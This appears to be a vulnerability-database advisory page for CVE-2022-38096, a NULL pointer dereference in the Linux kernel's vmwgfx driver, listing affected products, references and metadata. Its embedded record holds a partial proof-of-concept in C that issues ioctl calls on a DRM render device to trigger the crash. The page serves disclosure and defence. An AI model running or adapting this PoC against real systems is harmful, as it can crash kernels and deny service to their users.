CVE-2022-38096 (GCVE-0-2022-38096)
Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2026-05-12 10:12
VLAI
EPSS
VEX
Title
There is a NULL pointer vulnerability in vmwgfx driver
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-26 13:45 UTC
CWE
- CWE-476 - NULL Pointer Dereference
Assigner
References
Impacted products
3 products
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Linux | kernel |
Affected:
v4.20-rc1 , < 5.13.0-52*
(custom)
|
guessed | |
| linux | linux_kernel |
Affected:
v4.20-rc1 , < 5.14
(custom)
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* |
||
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem |
Affected:
0 , < *
(custom)
|
guessed |
Date Public
2022-09-06 00:00
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\\n\\targ.context_handle=sid;\\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\\n {\\n printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n return -1;\\n }\\n\\n}\\nint alloc_context(){\\n\\nint arg[0x10]={0};\\narg[0]=0;\\narg[1]=0x100;\\n\\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\\n {\\n printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n return -1;\\n }\\n return arg[0]; \\n}\\n\\nint alloc_bo(){\\n\\nint arg[0x10]={0};\\narg[0]=0x10000;\\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\\n {\\n printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n return -1;\\n }\\n return arg[2]; \\n}\\n\\nint create_surface(){\\nint buf[0x100]={0};\\nbuf[0]=64;\\nbuf[1]=64;\\nbuf[2]=64;\\n\\nstruct drm_vmw_surface_create_req arg={0};\\narg.flags=0;\\narg.format=2;\\narg.mip_levels[0]=1;\\narg.size_addr=buf;\\narg.shareable=0;\\narg.scanout=0x10;\\n\\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\\n {\\n printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n return -1;\\n }\\nreturn arg.flags;\\n}\\nint main(int ac, char **argv)\\n{\\ninit();\\nint cid=alloc_context(); \\n printf(\\\"%d\\\",cid); \\n poc(cid); \\n \\n}\"}], \"datePublic\": \"2022-09-06T00:00:00.000Z\", \"references\": [{\"url\": \"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\"}, {\"url\": \"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\", \"name\": \"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update\", \"tags\": [\"mailing-list\"]}], \"x_generator\": {\"engine\": \"Vulnogram 0.0.9\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-476\", \"description\": \"CWE-476 NULL Pointer Dereference\"}]}], \"providerMetadata\": {\"orgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"shortName\": \"Anolis\", \"dateUpdated\": \"2024-06-25T21:08:05.642Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2022-38096\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-12T10:12:29.908Z\", \"dateReserved\": \"2022-09-07T00:00:00.000Z\", \"assignerOrgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"datePublished\": \"2022-09-09T14:39:51.163Z\", \"assignerShortName\": \"Anolis\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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